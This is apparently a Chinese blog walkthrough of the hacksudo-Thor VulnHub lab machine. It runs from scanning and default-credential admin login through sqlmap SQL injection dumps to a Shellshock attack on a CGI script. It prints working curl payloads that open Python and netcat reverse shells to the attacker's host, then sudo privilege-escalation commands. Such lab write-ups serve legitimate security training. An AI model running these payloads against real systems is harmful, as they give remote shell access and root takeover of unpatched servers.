靶场搭建

靶场下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

下载下来是虚拟机.ova压缩文件,这个靶机是VirtualBox的,直接用VM打开会报错想要用VM打开可以看我这篇文章:如何将VirtualBox虚拟机转换到VMware中_奋斗吧!小胖子的博客-CSDN博客_virtualbox转vmware

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

打开后靶机没有自动获取ip,解决办法看我这篇文章:靶机无法自己获取ip地址解决办法_奋斗吧!小胖子的博客-CSDN博客

开启虚拟机

靶场搭建完毕

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

开放了22端口,存在ssh服务

开放了80端口,存在http服务,且中间件未Apache 2.4.38

访问WEB,发现是一个银行登录页面

在news页面看到几条通知,翻译了没有发现有线索

contact页面,也没有什么线索

about us 页面和contact页面一样

回到登录页面

看是否存在弱口令admin/admin

发现不正确

抓包看是否存在sql注入,经过多次多符号的测试,发现不存在sql注入

搜索一下敏感目录

发现一个README.md文档,将文档保存下来

查看,发现是一个网站搭建的说明文档,在其中发现了初始账号和密码

尝试登录/home页面,发现不正确

还发现了/admin_login.php页面,是管理员的登录页面

尝试使用前面文档里的默认账号admin/password123登录,发现成功登录

发现后台可以编辑用户,添加用户,删除用户,添加新闻

发现通过url中的cust_id参数就可以改变编辑的用户,尝试看是否存在SQL注入

发现果然存在sql注入

接下来利用sql注入来爆出数据库,这里我直接使用sqlmap

抓包将数据包保存到文件中,利用sqlmap -r参数

发现数据库为MySQL,存在时间注入

--dbs爆出所有数据库名

--current-db爆出当前数据库名

-D hacksudo --tables爆出当前数据库所有表名

-D hacksudo -T admin --dump爆出admin表所有数据

-D hacksudo -T customer --dump爆出customer表所有数据

这里爆出的数据和我们在管理员后台上可以编辑的四个用户是一样的

我们使用普通用户账号来登录普通用户的后台,发现可以查看转账记录,可以进行转账,转账的密码就是登录密码

但是这些发现的sql注入、逻辑漏洞、后台弱口令等都不能让我们拿到shell,所以我们需要寻找其它切入点

在我们搜索敏感目录的时候还发现了/cgi-bin/目录,这个目录是用来存放WEB使用的一些外部接口文件的,里面可能包含一些后缀名为.cgi或者.sh的文件

我们访问这个目录发现没有访问权限,对这个目录没有访问权限不代表对里面的文件也没有访问权限

这里需要用到一种漏洞叫破壳漏洞

“破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。

利用条件:Bash 版本小于等于4.3

该Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

我们现在需要靶机上的bash来设置环境变量执行命令来获取shell,所以我们需要在/cgi-bin/目录下找到一个cgi或者sh后缀的文件

使用dirsearch来查找,发现两个存在的文件

这里我们使用shell.sh文件,因为他是个shell脚本文件

使用nmap的破壳漏洞的脚本来检测漏洞是否存在

nmap -A -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=id 192.168.52.141

发现确实存在破壳漏洞

利用curl来利用漏洞执行命令,看靶机上是否有python,发现有python

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'which python'" \http://192.168.52.141/cgi-bin/shell.sh

使用python来反弹shell

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''" \http://192.168.52.141/cgi-bin/shell.sh

利用失败

看主机上是否存在nc,存在nc

利用nc反弹shell

先在kali上监听4444端口

执行命令

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'nc 192.168.52.128 4444 -e /bin/bash'" \http://192.168.52.141/cgi-bin/shell.sh

成功获得shell

获得的shell是不完整的shell,我们利用python pty来升级shell

python -c 'import pty;pty.spawn("/bin/bash")'

在目录下看到所有的cgi和sh文件

在/etc/passwd下看到两个可以用于ssh登录的用户

在家目录下也看到一个thor的家目录,没有权限进入

提权

sudo提权

sudo -l 查看是否有可提权的命令

发现可以以thor用的的身份执行/home/thor目录下的hammer.sh文件

尝试执行

问我们你想和thor谈话吗,发现让我们输入密码

直接回车发现直接进入了输入对话

再执行一次输入其它密码,发现密码在下一句i am后面返回为名字了

还发现输入对话的地方如果输入命令会被执行

如果我们直接输入/bin/bash ,发现成功获得了thor的shell,成功提权

还是不完整的shell,利用python pty升级shell

继续提权

sudo提权

sudo -l 查看是否有可提权的命令

发现可以以root用户身份执行cat和service命令

可以通过cat来查看/etc/shadow下的root用户的密码来ssh登录提权

也可以通过service直接提权,执行命令

sudo /usr/sbin/service ../../bin/bash

VnlnHub hacksudo-Thor相关推荐

  1. vulnhub靶场-hacksudo - Thor

    1.靶机信息 靶机名称:hacksudo - Thor 靶机难度:中等 虚拟机环境:此靶机推荐使用Virtualbox搭建 目标:取得root权限 靶机地址:https://download.vuln ...

  2. vulnhub之hacksudo:Thor

    目录 地址: 一.主机发现 二.端口扫描 三.服务版本发现 四.信息收集 1.页面源码 2.访问cgi-bin 五.目录爆破 六.信息收集2 1.README.md 2.admin_login 3.i ...

  3. vulnhub -- hacksudo: Thor

    靶机下载地址:下载链接 这里通过arp-scan -l来发现主机,主机IP地址:10.0.2.7 信息搜集 namp对IP地址进行端口扫描(开放21,22,82端口) 通过80端口访问,首页是一个登录 ...

  4. 靶机渗透练习96-hacksudo:Thor

    靶机描述 靶机地址:https://www.vulnhub.com/entry/hacksudo-thor,733/ Description Box created by vishal Waghmar ...

  5. hacksudo-Thor(Vulnhub)

    靶机地址:hacksudo: Thor ~ VulnHub 目录 利用的技术 什么是破壳漏洞? bash环境变量 bash的函数 漏洞测试 原理分析 1.主机发现 2.端口扫描 3.漏洞发现 破壳漏洞 ...

  6. PlugX变体已经悄悄更改源代码且正式更名为THOR

    在2021年3月监测Microsoft Exchange Server攻击时,Unit 42研究人员就发现了一个PlugX变体,该变体是作为漏洞利用后远程访问工具 (RAT) 传送到其中一台受感染服务 ...

  7. 【CodeForces - 705C】Thor(模拟,STLset优化链表)

    题干: Thor is getting used to the Earth. As a gift Loki gave him a smartphone. There are n application ...

  8. THOR:MindSpore 自研高阶优化器源码分析和实践应用

    摘要:这篇文章跟大家分享下THOR的实践应用.THOR算法的部分内容当前已经在MindSpore中开源 本文分享自华为云社区<MindSpore 自研高阶优化器源码分析和实践应用>,原文作 ...

  9. Mac电脑高效办公必备武器——雷神Thor

    今天给使用Mac电脑的小伙伴分享一个高效办公利器--Thor,如果你的触摸板和快捷键玩的很6的话,在配上这个软件,那工作效率简直可以起飞! Thor是一款免费的MAC应用程序开启 /切换工具. 通过它 ...

最新文章

  1. oop第二章1知识点汇总
  2. sql 外连接的写法。
  3. SpringBoot+MyBatisPlus+Swagger2.7规范开发接口流程(以废料包材入库与出库为例)
  4. CPU和GPU的区别
  5. 2019你还没搭建个人博客吗?进来看看
  6. vue.$nextTick 解决了哪些问题
  7. 经过路由无法找到计算机,电脑无法启动服务提示系统找不到指定的路径(图)
  8. nHibernate Mapping By Code - Introduction
  9. 如何稳定地使用 Google 搜索
  10. java 汉字 char_char 类型如何存储一个汉字的?
  11. opengl编程指南
  12. RPLIDAR最强参数详解
  13. TypeScript(四)声明文件、全局变量(三斜线指令)、npm包、UMD库、发布声明文件
  14. 短信接口的功能及适用范围
  15. 区块链开源代码什么意思_区块链和开源社区有什么共同点
  16. STM32的USART3(PC10,PC11)异常,USART3_TX(PC10)持续低电平(0V)
  17. linux 批量监控软件,Linux/Unix/Windows批量管理监控服务器软件
  18. 调用微信的收货地址和我的地址功能页面。
  19. 上经 -- 乾【卦一】乾为天(一)
  20. macbook pro的漏电

热门文章

  1. [译] 用于 iOS 的 ML Kit 教程:识别图像中的文字
  2. 计算机设备养护知识试题,技术设备处设备管理知识培训试题库
  3. 白嫖钉钉机器人-员工服务台
  4. 你以为越复杂的密码越安全?小心那些错误认知
  5. Qgis 使用QuickOSM插件导入开源地图
  6. css —— 按钮水波纹扩散动画效果实现
  7. 异质性分析:系数平滑可变模型
  8. 递归算法实现角谷定理
  9. python学生数据完善程序_「Python」每日一练:学生数据完善程序
  10. 基于物体颜色的目标检测与跟踪